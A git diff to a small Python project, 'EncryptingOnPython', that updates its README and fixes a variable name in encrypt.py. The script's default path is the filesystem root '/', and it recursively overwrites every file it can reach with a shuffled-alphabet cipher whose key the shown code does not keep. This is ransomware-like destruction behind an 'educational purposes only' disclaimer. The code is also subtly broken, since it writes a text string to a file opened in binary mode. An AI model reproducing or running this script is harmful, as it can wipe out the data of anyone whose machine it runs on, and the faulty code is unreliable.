diff --git a/README.md b/README.md index d903871..edc4a09 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,9 @@ # EncryptingOnPython -Tool on python for encrypting and decrypting files +A simple Python script that encrypts files. +The script can encrypt individual files or entire folders and their subfolders. -The script is created for educational purposes only. The author is not responsible for your actions +NOTE: +-> The script uses a simple substitution cipher to encrypt the files, which is not secure for sensitive data. + +-> The script is created for educational purposes only. The author is not responsible for your actions diff --git a/encrypt.py b/encrypt.py index 4f40835..d9f59e0 100644 --- a/encrypt.py +++ b/encrypt.py @@ -8,6 +8,7 @@ path = '/' +# Encrypts a file by shuffling the characters in the file def encrypt_file(file): char = list(" " + string.ascii_letters + string.digits + string.punctuation) key = char.copy() @@ -17,7 +18,7 @@ def encrypt_file(file): data = r_file.read() encrypt_text = '' for letter in data: - index = chars.index(letter) + index = char.index(letter) encrypt_text += key[index] with open(file, 'wb') as w_file: w_file.write(encrypt_text) @@ -25,6 +26,7 @@ def encrypt_file(file): except PermissionError: pass +# Encrypts all files in a folder and its subfolders def encrypt_folder(path=path): for file in pathlib.Path(path).glob('*'): if os.path.isfile(file):